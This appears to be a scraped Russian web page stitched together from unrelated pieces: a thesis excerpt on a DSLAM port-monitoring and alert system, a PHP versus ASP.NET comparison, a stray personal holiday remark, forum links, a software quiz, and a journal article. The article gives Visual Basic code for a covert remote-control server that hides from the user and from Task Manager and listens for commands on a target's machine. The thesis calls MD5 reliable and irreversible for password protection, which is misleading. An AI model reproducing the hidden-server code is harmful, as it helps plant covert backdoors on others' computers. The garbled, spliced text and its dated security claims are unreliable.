Условие при выполнении которого происходит сброс порта приведено на рисунке 4.2. Также следует отметить что программный робот просматривает всю монтированную емкость портов с БД комплекса, и таким образом устраняет проблемы зависших портов на текущий момент времени. Запуск указанной системы происходит автоматически через каждые 5 минут на сервере комплекса, таким образом в течении 10 минут происходит полный просмотр всех портов и устранение проблем с фиксированием работы в журнале ПК «АРМА».

5 СИСТЕМА ОПОВЕЩЕНИЯ О НЕПОЛАДКАХ В РАБОТЕ ОБОРУДОВАНИЯ

В ПК «АРМА» реализована система оповещения администраторов в случае отказа оборудования ШПД. Система производит мониторинг работы всех монтированных и добавленных в БД комплекса плат. Это позволяет своевременно обнаруживать неисправность и сокращает время простоя оборудования, тем самым повышая качество обслуживания потребителей услуг.

Общий алгоритм работы системы :

1) подключение к БД комплекса.

2) выборка IP адресов всех монтированных плат.

3) проверка доступности хоста.

4) запись в журнал в случае отсутствия связи.

Детальный алгоритм действий системы в случае отсутствия связи представлен на рисунке 5.1

5.1 Механизм оповещения администраторов

Оповещения персонала о неполадках происходит следующим образом.

1) При отсутствии связи с конкретным IPдо 10 минут происходит отправка соответствующего сообщения только на компьютеры администраторов, с указанием IP адреса устройства с которым нет связи.

2) При отсутствии связи более 10 минут происходит отправка СМС сообщений на мобильные телефоны администраторов комплекса.

3) При отсутствии связи более 15 минут происходит повторная отправка СМС сообщений на мобильные телефоны администраторов комплекса.

4) При отсутствии связи более 20 минут происходит повторная отправка СМС сообщений на мобильные телефоны администраторов комплекса и дальнейшее оповещение при отсутствии связи не производиться до момента устранения неисправности в работе оборудования DSLAM.

5) Оповещение администраторов производиться при восстановлении связи о нормальной работе оборудования с которым возникли проблемы.

Часть кода системы и его описание приведены ниже.

Отправка сообщений на копьютеры администраторов комплекса :

system(«echo $name $ip ALARM | smbclient -M serg -I 192.168.123.9»);

system(«echo $name $ip ALARM | smbclient -M Yurec -I 192.168.123.5»);

system(«echo $name $ip ALARM | smbclient -M Geka -I 192.168.123.3»);

Используемые модули и подключение к серверу БД для выборки IP адресов :

use DBI;use Net::Ping;use Switch;my $host = «***.***.***.***»; # MySQL-серверmy $port = «3306»; # порт, на который открываем соединениеmy $user = «arma»; # имя пользователяmy $pass = «********»; # парольmy $db = «*****»; # имя базы данных$dbh = DBI->connect(«DBI:mysql:$db:$host:$port»,$user,$pass); #подключаемся.my $zap = $dbh->prepare(«select * from arma.plata «); # готовимзапрос$zap->execute; # исполняем запрос.

Отправка СМС сообщения администратору системы :

smtp = Net::SMTP->new(‘***.**.**.**’); # Указываем SMTP сервер.

$smtp->mail(‘arma_robot@ukr.net’); # Указываем от кого письмо.

$smtp>to(‘380681234567@sms.beeline.ua’); # Указываем кому письмо.

$smtp->data(); # Начинаем посылку данных

$smtp->datasend(«To:Admin \n»); # Указываем информацию для поля «Кому»

$smtp->datasend(«\n»); # Пустая строка

$smtp->datasend(«Внимание . 15 минут нет пинга \n»); # Сообщение

$smtp->dataend(); # Заканчиваем посылку даных

$smtp->quit; # Закрываем соединение

Проверка доступности хоста :

$p = Net::Ping->new(); if ($p->ping($ip)) < …….. >else <

Система реализована с использованием языка программирования PERL.

В алгоритме работы системы предусмотрена защита от ложного срабатывания.

Отправка СМС сообщений происходит при помощи SMTP сервера предприятия, а также почтового шлюза оператора мобильной связи.

Использование системы показало необходимость в её наличии так как многократно увеличивается эффективность работы обслуживающего персонала.

6 Описание системы защиты от несанкционированного доступа

В ПК «АРМА» присутствуют следующие механизмы защиты от несанкционированного доступа, в частности на сервере БД MySQL осущественна настройка системы доступа к базе данных только с определенных IP адресов, и отсутствует доступ на удаление самой базы данных или её частей. В клиентской части узла Интернет присутствует система блокировки учётных записей в случае неправильного выхода из системы. Также пароли к учётным записям администраторов шифруются с использованием алгоритма MD5 (Message Digest Algorithm 5) который представляет собой надежный алгоритм хэширования, разработанный компанией RSA Data Security, Inc. Он может использоваться для хэширования строки байт произвольной длины в 128-битное значение. MD5 широко используется и считается достаточно надежным. Алгоритм md5 позволяет создавать хеш (контрольную сумму), которую достаточно сложно подделать. Он используется для всевозможных проверок подлинности данных, когда необходима передача их в зашифрованном виде. Обратное кодирование (расшифровка) в данном алгоритме невозможна.

Схема информационных потоков также исключает возможность несанкционированного доступ к системе так как клиентские части ПК не работают с оборудованием на прямую и не могу получить полный доступ или выполнить другую команду кроме разрешенных, это позволяет обеспечивает необходимый уровень безопасности при использовании ПК с внешних сетей.

Поэтому можно сделать вывод что безопасность данных и оборудования обеспечена на приемлемом уровне и использование ПК «АРМА» не ведёт к увеличению рисков связанных с несанкционированным доступом из внешнего мира.

4 ТЕСТИРОВАНИЕ КОМПЛЕКСА И АНАЛИЗ РЕЗУЛЬТАТОВ ЕГО РАБОТЫ

Для того чтобы оценить работу всего комплекса «АРМА» до его внедрения необходимо провести ряд тестов. Они проводятся с целью выявления логических ошибок, проверки безопасности и оценки результатов работы всех систем входящих в комплекс.

Оценка работы комплекса производилось в следующем порядке, в начале было произведено тестирование каждой части комплекса с целью определить недостатки и способы их дальнейшего устранения, а после была дана оценка эффективности и корректности работы всего комплекса.

Тестирование клиентской части узла проводилось на протяжении всего этапа разработки и найденные логические ошибки в коде были сразу устранены. В процессе работы с клиентской частью узла были выявлены следующие недостатки :

– применение в SQL запросе лимита на кол-во возвращаемых строк

существенно замедляло работу приложения при выборке большого

– примененный механизм установки привилегий администраторам

системы не позволяет расширить список прав без изменения

исходного кода программы;

– при принудительной остановки вывода данных в MSExcel

дальнейшая работа с программой может быть затруднена, либо

выполнение завершиться ошибкой.

– в случаи долговременного просмотра состояния порта в течении

получаса, возможно зависание приложения;

– формирование некоторых типов отчётов требует значительного

времени и на текущий момент составляет не более одной минуты.

Первый тест, который был проведен – это тест на «usability» или на удобство использования. Данный тест определяет удобство интерфейса и легкость в его использовании. В ходе этого тестирования внимание уделялось следующим характеристикам: обучаемость, эффективность, запоминаемость, ошибки и удовлетворенность. Обучаемость — количественный параметр, характеризующий, время которое необходимо неподготовленному пользователю на обучение работы с системой. Запоминаемость – фактор, определяющий как быстро пользователь сможет начать работу с системой после продолжительного перерыва, например плановый отпуск. Ошибки – количество ошибок, которые может допустить пользователь при работе с системой. Последний , но не последний по значимости, удовлетворенность пользователя от использования интерфейса. Основным методом проведения данного теста является опрос потенциальных пользователей и проведение среди них анкетирования. В итоги было установлено что интерфейс в целом удовлетворяет требованиям пользователей системы, а также но всё же были внесены изменения и дополнения в интерфейс системы по пожеланиям персонала работающего в данном комплексе.


Для устранения выше перечисленных недостатков необходимо произвести обновление программного обеспечения сервера где непосредственно расположен комплекс, в частности обновления версии сервера баз данных MySQL позволит применить двойные запросы к базе данных что существенно увеличит производительность системы, а также потребует изменения значительной части кода всего комплекса. Также в случае с зависанием приложения при длительном просмотре информации о состоянии порта возможно изменить механизм получения информации от оборудования, что снимет данную проблему но повлияет на универсальность получения данных и также потребует значительных изменений в исходном коде приложения.

Тестирование клиентской части абонентского отдела происходило по тем же принципам что и тестирование клиентской части узла. Также был проведён тест на удобство использования, для чего операторам которые не разу не работали с данной программой предлагалось осуществить необходимые действия в результате чего, были выявлены некоторые недостатки данной части комплекса. Так были определенны функциональные недостатки, исправление которых напрямую бы повлияло на безопасность системы в целом поэтому недостатком ряда функций можно пренебречь.

Также проведён другой важный тест, который является тестированием на устойчивость к большим нагрузкам — Load-testing, stress-test или performancetest. Такой тест имитирует одновременную работу нескольких сотен или тысяч пользователей, проверяя, будет ли устойчивой работа комплекса под большой нагрузкой. В таком тесте проверяется не только и не столько сам комплекс, сколько совместная слаженная работа всего комплекса — аппаратной части сервера, веб-сервера, программного ядра и других компонентов системы.

Отдельно следует отметить тест на безопасность. Это очень важный тип тестов, так как от безопасности сервера зависит практически все. Правда, в отличие от других тестов, тестирование безопасности следует проводить регулярно. Кроме того, тестированию подвергается не только сам веб часть комплекса, а весь сервер полностью — и веб-сервер, и операционная система, и все сетевые сервисы. Как и в случае других тестов, программа «прикидывается» реальным пользователем-взломщиком и пытается применить к серверу все известные ей методы атаки и проверяет все уязвимости. Результатом работы будет отчет о найденных уязвимостях и рекомендации по их устранению. Обычно такие сканнеры безопасности продаются как самостоятельный продукт — к примеру, один из лучших сканнеров, Xspider. Производиться запись специального тестового макроса-сценария, который имитирует действия реальных пользователей —> «заходим на первую страницу —> вводим логин и пароль —> нажимаем на кнопку —> переходим по ссылке и т.д.». Потом программным образом создаются несколько виртуальных пользователей (тысячи и более при серьезном тестировании) и они «ходят» по страницам системы, проверяя её работу. За этим всем следит менеджер (обычный, человек ?), строя на основе полученных данных отчет о работе исследуемого веб-приложения.

Для тестирования на устойчивость использовалась программа WAPT. Она позволяет проанализировать характеристики работы приложения, выявить узкие места при различных нагрузках. Программа эмулирует действия реальных пользователей действиями виртуальных пользователей, когда каждый отдельный виртуальный пользователь эмулирует одного реального. Действия, которые требуется выполнять, описываются в сценарии тестирования. В тестировании рассматривается три возможных сценария — тестирование под нагрузкой, тестирование эксплуатационных характеристик и тестирование на стрессовые ситуации, во время которых пытаются

обнаружить пределы срабатывания и «узкие» места.

Рисунок 4.1 – Устанавливаемые параметры для проведения тестов с помощью программы WAPT

После первого запуска были получены следующие результаты, представленные на рисунках 4.2 и 4.3. Из рисунков 4.2 и 4.3 видно, что разработанное приложение не оказывает заметного влияния на загрузку сервера. Увеличение среднего времени ответа на 12 секунде теста (см. рис. 4.3) скорее всего связано с внутренними процессами на веб-сервере.

Рисунок 4.2 – График зависимости ошибок соединения с сервером от количества пользователей

Рисунок 4.3 – График зависимости среднего времени ответа сервера от количества запрашиваемых страниц в секунду и количества пользователей

При тестировании системы автоматического сброса зависших портов было установлено что система в большенстве случаев верно определяла и устарняла неисправности в работе оборудования ШПД DSLAM. Так в частности была собрана следующая статистика работы системы представленная в таблице 4.1

Таблица 4.1 – Статистика работы системы автоматического сброса зависших портов

Анализ применения технологий php и asp.net при разработке программного обеспечения информационной системы

Published 22.02.2012 · Updated 22.02.2012

Способность накапливать и обеспечивать эффективный доступ к информации становится определяющим фактором для развития современного предприятия. Появление и быстрый рост числа информационных систем (ИС), функционирующих во всем мире, явились результатом специализации информационной деятельности и повышения производительности труда в этой сфере.

Эффективное управление предприятием в современных условиях невозможно без использования компьютерных технологий. Правильный выбор программной технологии во многом определяет эффективность автоматизации бизнес-процессов предприятия. В настоящее время проблема выбора технологии программирования из специфической задачи превращается в стандартную процедуру. Основной задачей ИС является удовлетворение конкретных информационных потребностей в рамках определенной предметной области.

Для создания и использования ИС необходимо получить представление о структуре, функциях организации, целях управления, возможностях компьютерной технологии. ИС предприятием подходит для удовлетворения информационных потребностей сотрудников различных уровней управления фирмой.

Разработка программного обеспечения информационных систем выполняется при использовании современных программных технологий, таких как ASP.NET (Active Server Pages), PHP (Personal Home Page) и других.

Особенности технологий PHP и ASP.NET. PHP — это язык программирования, с помощью которого можно создавать достаточно развитые Web-узлы. PHP – открытая и бесплатная технология. Это скриптовый язык, предназначенный для динамического вывода HTML. Это означает, что создавать на PHP крупные проекты – достаточно дорогостоящий и трудозатратный процесс.

Операторы РНР выполняются и результат их обработки вставляется в HTML-документ, после чего передается броузеру. Программа на РНР может выполнить запрос к базе данных, создать графические изображения, работать с файлами, работать с сетью.

Существует несколько серьезных причин для того, чтобы выбрать РНР в качестве средства для разработки Web-приложений. Благодаря мощному интерпретатору PHP по результатам тестовых испытаний не уступает технологии ASP. Кроме того, технология РНР обеспечивает эффективную переносимость. В результате этого РНР может работать на многих операционных системах и почти на всех серверах. При создании языка РНР учитывалось требование высокой интеграции с базами данных. Это стало одной из причин того, что РНР стал популярным при создании развитых Web-приложений.

ASP.NET – технология, предназначенная для создания Web-сайтов, Web-сервисов и приложений. Технология достаточно надежная, безопасная, устойчивая к атакам. ASP-технология основана на модели COM (COM – Component Object Model). ASP.NET формирует динамические, постоянно обновляющиеся страницы. Но программный код и код HTML разделены. При этом сама результирующая страница не содержит ни кодов ASP.NET, ни элементов управления и может быть просмотрена в любом из браузеров, отредактирована в любом редакторе HTML.

PHP работает значительно быстрее в сравнении с ASP.NET. Кроме того, цены на размещения сайтов, созданных на языке PHP для операционных систем Linux/FreeBSD на серверах ведущих провайдеров в 3-5 раз ниже цен на размещения Web-сайтов на ASP.NET.

РНР-программу проще отлаживать. Например, в PHP функцией var_export() легко получить текстовое представление массива или объекта в тех случаях, когда отладчик был бы бессилен. Пусть система методом POST отправляет на страницу данные об оплате заказа о запчастях. Если что-то идёт не так – можно легко послать самому себе текстовый дамп этого массива:

А в ASP.NET придётся писать метод, который вернёт текстовое представление массива или объекта.

Интерпретация в PHP- это возможность собирать и запускать на выполнение строку программного кода (функцией eval()), что даёт целый ряд возможностей. Например, сделать методики расчёта стоимости различных услуг данными, хранящимися в базе данных. Прозрачная привязка проекта к файловой системе. Отсутствует необходимость в специальных средствах разработки (как Visual Studio). В PHP-проекте нет конструкций, для визуализации и редактирования которых требовался бы особый редактор. А в ASP.NET не так просто выяснить, как связаны пространства имён (namespaces) и расположение файлов на диске. В итоге бывает, что классы не видят друг друга. Нельзя не остановиться на базе данных, используемой для хранения информации на сайте. Как правило, PHP работает в связке с базой данных mySQL, а ASP.NET/ C# — в связке с базой данных MS SQL Server или Oracle. Быстродействие же связки РНР + MySQL обеспечивается тем, что разрабатывающие эти две технологии группы очень тесно сотрудничают. То же самое и со связкой ASP.NET + MS SQL. Существует мало наработанного кода, библиотек компонентов ASP.NET/C#, а также мало программистов с опытом написания веб-приложений на этой платформе. Платформа ASP.NET является нестабильной (за счет I IS), отсутствует доступность исходников, низкая эффективность.

PHP имеет сходные с ASP функции по управлению сессиями. Хотя функции управления заголовками HTTP в ASP.NET намного легче в использовании. ASP – это технология только для Windows систем, что будет всегда существенным недостатком. Даже под Windows PHP может устанавливаться простым копированием, не записывая ничего в реестр, не требуя создания специальных групп пользователей. После переустанеовки операционной системы не потребуется долго восстанавливать PHP и проекты, по ним написанные. В Windows разумно установить Apache, PHP и MySQL на не-систем-ном диске. После форматирования системного раздела и переустановки Windows потребуется минимум времени для восстановления: снова инсталлировать Apache как службу и возобновить список виртуальных хостов.

Критерии сравнения программных технологий. Технология программирования находится в процессе постоянного совершенствования, и система критериев сравнения, принятая на данном этапе, может оказаться вскоре совершенно непригодной. Сложности при формировании системы критериев происходят из-за того, что показатели качества ПО могут неадекватно выражать те или иные свойства ПО, определяемые желанием, потребностями или предпочтениями будущего пользователя.

В связи с большим разнообразием мнений пользователей невозможно предложить какую-то единую, годную на все случаи жизни, номенклатуру критериев. Для данного случая можно остановить выбор на следующих критериях:

Планирую все-таки в этом году вырваться с семьей на море. Может даже закажу туры на бали онлайн, если позволят финансы. Если нет, то все равно на море обязательно, т.к. уже пять лет там не был на нормальном отдыхе. Да и ребенок во всю хочет на море.

Разработка программных средств администрирования ОС Windows

22.10.2012, 21:04

Дипломная (Разработка программных средств автоматизации формирования отчета по науке). Нужна консультация
Здравствуйте. Мне нужна помощь или консультация с дипломной работы. Тема дипломной: «Разработка.

С помощью каких программных средств можно программировать под Windows Phone
для телефонов на платформе Windows Phone с помощью каких программных средств можно программировать.

Требования к составу аппаратных и программных средств
Доброго времени суток! Началась сессия, делаю курсовую, дошел до такого пункта как 1.3.

Выбор и конфигурирование комплекса аппаратных и программных средств
С наступающими праздниками вас, дорогие форумчане! Позвольте мне обратиться к вам с одной.

С помощью программных средств VBA создать мини-СУБД, используя заданную вариантом структуру данных
Привет! Очень нужна ваша помощь, помогите пожалуйста написать программку: С помощью программных.

22.10.2012, 21:04

Разработка способов администрирования
В своей базе использую С++ Builder и MySql. Не получается дать привелегии для администратора и для.

Разработка информационной системы по учету основных средств, сданных в аренду
Доброго времени суток. Нужно с пустой бд разработать информационную систему по учету основных.

Сценарии администрирования Windows
Уважаемые, нужны идеи по разработке сценариев администрирования Windows XP/Vista/7. Кто хоть что то.

Прикладное программное обеспечение для организации (администрирования) вычислительного процесса

Прикладное программное обеспечение для глобальных сетей

Проблемно-ориентированное прикладное программное обеспечение

Методо-ориентированное прикладное программное обеспечение

Прикладное программное обеспечение общего назначения

Прикладное программное обеспечение общего назначения – это универсальные программные продукты, предназначенные для автоматизации разработки и эксплуатации функциональных задач пользователя и информационных систем в целом.

К этому классу ППП относятся:

§ Текстовые и графические редакторы;

§ Системы управления базами данных (СУБД);

§ Оболочки экспертных систем и систем искусственного интеллекта.

Методо-ориентированное прикладное программное обеспечение отличается тем, что в его алгоритмической основе реализован какой-либо экономико-математический метод решения задачи.

К ним относятся ППП:

§ математического программирования (линейного, динамического, статистического);

§ сетевого планирования и управления;

§ теории массового обслуживания;

Примером таких программ могут служить программы Time Line, Microsoft Project, Sure Trak, Open Plan Professional.

Проблемно-ориентированное прикладное программное обеспечение — это программные продукты, предназначенные для решения какой-либо задачи в конкретной функциональной области.

Из всего многообразия проблемно-ориентированных ПО можно выделить группы, предназначенные для комплексной автоматизации функций управления в промышленной и непромышленной сферах, а также ППП для предметных областей.

Основным назначением глобальных вычислительных сетей является обеспечение удобного, надёжного доступа пользователя к территориально распределённым общесетевым ресурсам, базам данных, передаче сообщений. Для организации электронной почты, конференций, электронной доски объявлений, обеспечения секретности передаваемой информации в различных глобальных сетях используются стандартные (в этих сетях) пакеты прикладных программ.

В качестве примера можно привести программное обеспечение глобальной сети Интернет:

§ средства доступа и навигации — Netscape Navigator, Microsoft Internet Explorer;

§ почтовые программы для электронной почты – (e-mail). Наиболее распространёнными в настоящее время являются MS Outlook Express, The Bat, Eudora и почтовая программа из пакета Netscape Messenger.

Для этих целей в локальных и глобальных вычислительных сетях более чем в 50% систем мира используется ППП фирмы Bay Networks (США), управляющий администрированием данных, коммутаторами, концентраторами, маршрутизаторами, трафиком сообщений.

Вопросы для самоконтроля:

1. Что понимается под программным обеспечением?

2. Какие основные функции выполняет базовое ПО?

3. Какое назначение основных групп прикладного ПО?

4. Какие программные средства относятся к базовому ПО?

5. Какое прикладное ПО относится к классу универсальных?

6. Какое прикладное ПО относится к классу проблемно-ориентированных?

7. В чём особенности операционной системы windows?

Графическое представление в виде последовательности блоков, соединённых стрелками.

1. Схема алгоритма (блок-схема).

2. Система управления базами данных (СУБД).

3. Системные программы.

4. Операционная система.

Заранее заданное понятное и точное предписание возможному исполнителю совершить определенную последовательность действий для получения решения задачи за конечное число шагов это:

2. Электронная таблица.

Во время исполнения программа находится в

1. оперативной памяти

Программы общего пользования, выполняемые вместе с прикладными и служащие для управления ресурсами компьютера — центральным процессором, памятью, вводом-выводом.

1. Системные программы.

2. Операционная система.

3. Система управления базами данных

Выведенный на экран дисплея список различных вариантов работы компьютера, по которому можно сделать конкретный выбор.

Специально написанная небольшая программа, которая может «приписывать» себя к другим программам для выполнения каких-либо вредных действий — портит файлы, «засоряет» оперативную память.

Система пересылки сообщений между пользователями вычислительных систем, в которой компьютер берёт на себя все функции по хранению и пересылке сообщений.

1. Электронная почта.

4. Информационно-поисковая система

Комплекс взаимосвязанных программ, предназначенных для автоматизации планирования и организации процесса обработки программ, ввода-вывода и управления данными, распределения ресурсов, подготовки и отладки программ, других вспомогательных операций обслуживания. Важнейшая часть программного обеспечения.

1. Операционная система.

2. Системные программы

3. Система управления базами данных

Программы, расширяющие возможности операционной системы по управлению устройствами ввода-вывода, оперативной памятью и т.д.; с помощью этой программы возможно подключение к компьютеру новых устройств или нестандартное использование имеющихся устройств.

2. Антивирусные программы

3. Системные программы


4. Операционная система

Программы, предотвращающие заражение компьютерным вирусом и ликвидирующие последствия заражения это:

1. Антивирусные программы

2. Системные программы

3. Операционная система

Специальность (шифр), форма обучения 030503.51, форма обучения дневная
Название дисциплины «Информационные технологии в профессиональной деятельности»
Курс, семестр 3 курс, 5 семестр
Ф.И.О. преподавателя – разработчика программы Комина Лидия Вениаминовна

Не нашли то, что искали? Воспользуйтесь поиском:

Лучшие изречения: Только сон приблежает студента к концу лекции. А чужой храп его отдаляет. 8807 — | 7523 — или читать все.

188.64.174.135 © studopedia.ru Не является автором материалов, которые размещены. Но предоставляет возможность бесплатного использования. Есть нарушение авторского права? Напишите нам | Обратная связь.

Отключите adBlock!
и обновите страницу (F5)

очень нужно

Разработка программного комплекса удаленного администрирования для операционных систем семейства Windows Текст научной статьи по специальности « Автоматика. Вычислительная техника»

Аннотация научной статьи по автоматике и вычислительной технике, автор научной работы — Медведев Н. В., Гришин Г. А.

Рассмотрены основные подходы к использованию инструментальных средств разработки клиент-серверных систем с использованием Microsoft Visual Studio 6.0 на языке VisualBasic. Для создания подобного рода систем предложено использовать библиотеку функций Microsoft Winsock Control. Рассмотрены особенности и краткое описание данной библиотеки, являющейся составной частью операционной системы Windows. Представлен программный код для клиента (управляющей программы) и сервера (программы-агента).

Похожие темы научных работ по автоматике и вычислительной технике , автор научной работы — Медведев Н. В., Гришин Г. А.,

Текст научной работы на тему «Разработка программного комплекса удаленного администрирования для операционных систем семейства Windows»

Н. В. Медведев, Г. А. Гришин

РАЗРАБОТКА ПРОГРАММНОГО КОМПЛЕКСА УДАЛЕННОГО АДМИНИСТРИРОВАНИЯ ДЛЯ ОПЕРАЦИОННЫХ СИСТЕМ СЕМЕЙСТВА WINDOWS

Рассмотрены основные подходы к использованию инструментальных средств разработки клиент-серверных систем с использованием Microsoft Visual Studio 6.0 на языке VisualBasic. Для создания подобного рода систем предложено использовать библиотеку функций Microsoft Winsock Control. Рассмотрены особенности и краткое описание данной библиотеки, являющейся составной частью операционной системы Windows. Представлен программный код для клиента (управляющей программы) и сервера (программы-агента).

Применение компьютерной техники для сбора, обработки и передачи данных дает возможность противнику осуществлять спланированные действия по информационному воздействию на подобные системы.

В настоящей статьей будут рассмотрены основные подходы к разработке систем удаленного администрирования для операционных систем семейства Windows. Подобные системы представляют собой клиент-серверную архитектуру, в которой клиент — это программа, осуществляющая посредством пользовательского интерфейса управление сервером. Сервер находится на вычислительной машине противника и он скрыт как от пользователя, так и от диспетчера задач. Во время работы сервер открывает заранее установленный порт и ждет обращения клиента. Общение клиента и сервера осуществляется, как правило, по протоколу транспортного уровня TCP. После установления соединения между клиентом и сервером выдаются определенные команды серверу. После чего сервер их исполняет и по окончании отсылает результаты своей работы клиенту.

Сначала напишем серверную часть программного комплекса.

Для этого создаем новый проект на Visual Basic в виде стандартного исполняемого файла с расширением «*.exe» . Далее подключаем к нему Microsoft Winsock Control: в меню «Project»^»Components. «.

Если его в списке этой библиотеки нет, то нажимаем «Browse» и выбираем файл «mswinsck.ocx». После этого присоединяем эту библиотеку к форме проекта. Библиотека необходима для связи клиентской и серверной частей по TCP-протоколу. Далее изменяем форму: убираем заголовок, делаем малыми размеры и свойство формы visible, ставим указатель на «False». Это значит, что сервер не будет виден для поль-

зователя. У компонента меняем имя на «ws» и свойству «LocalPort» присваиваем число, которое и будет номером порта общения двух программ, например 12345.

Теперь попробуем запустить программу. У нас ничего не должно появиться. Завершаем работу программы нажатием кнопки «Стоп». Запишем код программы в «Form_Load»: Private Sub Form_Load()

If ws.State <> sckConnected And ws.State <> sckListening Then ws.Close ws.Listen End If DoEvents Loop End Sub

В данной функции рассматривается ситуация, когда у сервера отсутствует соединение с клиентом. Программа закрывает связь и открывает порт 12345 в ожидании клиента. Условие на установление связи нужно повторять во время работы программы, чтобы избежать разрыва связи. Сервер начинает «слушать» порт, затем подключается удаленный компьютер, а после его отключения порт не будет прослушиваться. Значения, которые может принимать свойство «State», приведены в таблице.

Значения, принимаемые свойством «State»

Константа Значение Описание

SckClosed 0 Запуск программы или порт закрыт

SckOpen 1 Порт открыт

SckListening 2 Порт прослушивается

sckConnectionPending 3 Режим ожидания соединения

sckResolvingHost 4 Ожидание разрешения на соединение с

sckHostResolved 5 Соединение разрешено

sckConnecting 6 Подключение к серверу

sckConnected 7 Связь с сервером установлена

sckClosing 8 Связь с сервером закрывается

sckError 9 Ошибка соединения

Теперь нужно подключить клиента. Для этого необходимо написать функцию «ws_ConnectionRequest».

Private Sub ws_ConnectionRequest(ByVal requestID As Long) ws.Close

ws.Accept requestID End Sub

В функции «ws_ConnectionRequest» сначала прекращается прослушивание порта, а затем подсоединяется клиент по номеру его запроса. На этом код соединения двух программ завершен. Далее запишем код для функции «ws_DataArrival». Он будет вызываться, когда будут приходить данные от сервера.

Private Sub ws_DataArrival(ByVal bytesTotal As Long) Dim Data As String ws.GetData Data Select Case Data Case «MSG»

MsgBox «Поступили данные от сервера» Case «END»

End End Select End Sub

В этой функции сначала объявляем переменную «Data», которая будет содержать пришедшие данные, а затем запишем их. После этого просматривают все возможные варианты, т. е. команды, которые могли прийти от сервера. Здесь их две: MSG, END, теперь остается скомпилировать программу. Назовем ее «server.exe».

Приступим к написанию клиентской части. Создадим новый проект и форму.

Поставим на форму два текстовых поля и назовем их «IP» и «Port», нажимаем две кнопки с надписями «Подключиться» и «Отключиться», и три кнопки с надписями «Сообщение» и «Закрыть сервер». Имена кнопок оставим по умолчанию. Теперь добавим «Winsock Control» и назовем его «ws». Поскольку наш сервер работает на порту 12345, то свойству «Text» второго текстового поля можно сразу присвоить значение 12345. Текст первого поля — значение «IP» адреса данного компьютера. Для этого напишем следующую функцию:

Private Sub Form_Load() IP.Text = ws.LocalIP End Sub

Private Sub Command1_Click() ws.Close

ws.RemoteHost = IP ws.RemotePort = Port ws.Connect End Sub

Private Sub Command2_Click()

ws.Close End Sub

Нажимая на кнопку «Подключиться», закрываем связь, указываем удаленный IP-адрес сервера, порт-12345 и подключаемся. Кнопка «Отключиться» просто закрывает связь с сервером. Private Sub Command4_Click() If ws.State <> sckConnected Then Exit Sub

ws.SendData «MSG» End Sub

Private Sub Command5_Click()

If ws.State <> sckConnected Then Exit Sub

ws.SendData «END» End Sub

В последних двух функциях программа сначала проверяет связь, и если соединено, то отправляет команды.

Теперь компилируем программу, назовем ее «client.exe». Можно протестировать программный комплекс скрытого администрирования. Для этого запустим «server.exe», а затем «client.exe» и попробуем подключиться. Если не было ошибок, то нажимаем на кнопки команд. Теперь сервер необходимо скрыть для диспетчера задач.

Private Declare Function RegisterServiceProcess Lib _

«kernel32.dll» (ByVal dwProcessId As Long, ByVal _

dwType As Long) As Long

Private Sub Form_Load()

RegisterServiceProcess 0, 1

If ws.State <> sckConnected And ws.State <> sckListening Then ws.Close ws.Listen End If DoEvents Loop End Sub

Чтобы скрыть процесс работы сервера, необходимо обратиться к системной библиотеке «kernel32.dll»

Private Sub Form_Load() Do

If ws.State <> sckConnected And ws.State <> sckListening Then ws.Close ws.Listen End If

DoEvents Loop End Sub

Private Sub ws_ConnectionRequest(ByVal requestID As Long) ws.Close

ws.Accept requestID End Sub

Private Sub ws_DataArrival(ByVal bytesTotal As Long) Dim Data As String ws.GetData Data Select Case Data Case «MSG»

MsgBox «Поступили данные от сервера» Case «END»

End End Select End Sub

Private Sub Form_Load() IP.Text = ws.LocalIP End Sub

Private Sub Command1_Click() ws.Close

ws.RemoteHost = IP ws.RemotePort = Port ws.Connect End Sub

Private Sub Command2_Click()

ws.Close End Sub

Private Sub Command4_Click()

If ws.State <> sckConnected Then Exit Sub

ws.SendData «MSG» End Sub

Private Sub Command5_Click()

If ws.State <> sckConnected Then Exit Sub

ws.SendData «END» End Sub

Private Declare Function RegisterServiceProcess Lib _ «kernel32.dll» (ByVal dwProcessId As Long, ByVal _ dwType As Long) As Long

Private Sub Form_Load() RegisterServiceProcess 0, 1 Do

If ws.State <> sckConnected And ws.State <> sckListening Then ws.Close ws.Listen End If DoEvents Loop End Sub

Выводы. Приведены основные базовые элементы для построения подобных программных систем. С использованием предложенного подхода можно разрабатывать системы удаленного администрирования для решения поставленных задач.

1. Кроуфорд Ш., Рассел Ч. Справочник администратора Windows 2000. — СПб.: Эком, 2004. — 1300 с.

2. З е г ж д а Д. П., И в а ш к о А. М. Основы безопасности информационных систем. — М.: Горячая линия-Телеком, 2000. — 232 с.

3.Гриняев С. Н. Интеллектуальное противодействие информационному оружию. — М.: СИНТЕГ, 1999. — 368 с.

Статья поступила в редакцию 20.04.2005

Николай Викторович Медведев родился в 1954 г., окончил в 1977 г. МВТУ им. Н.Э. Баумана. Канд. техн. наук, зав. кафедрой «Информационная безопасность» МГТУ им. Н.Э. Баумана. Автор более 45 научных работ в области исследования и разработки защищенных систем автоматической обработки информации.

N.V. Medvedev (b. 1954) graduated from the Bauman Moscow Higher Technical School in 1977. Ph. D. (Eng.), head of «Data Safety» department of the Bauman Moscow State Technical University. Author of more than 45 publications in the field of study and development of secured systems of automatic data processing.

Георгий Александрович Гришин родился в 1979 г., окончил МГТУ им. Н.Э. Баумана в 2003 г. Канд. техн. наук, доцент кафедры «Информационная безопасность» МГТУ им. Н.Э. Баумана. Автор 8 научных работ в области информационной безопасности.

Илон Маск рекомендует:  TStringList - Тип Delphi
Понравилась статья? Поделиться с друзьями:
Кодинг, CSS и SQL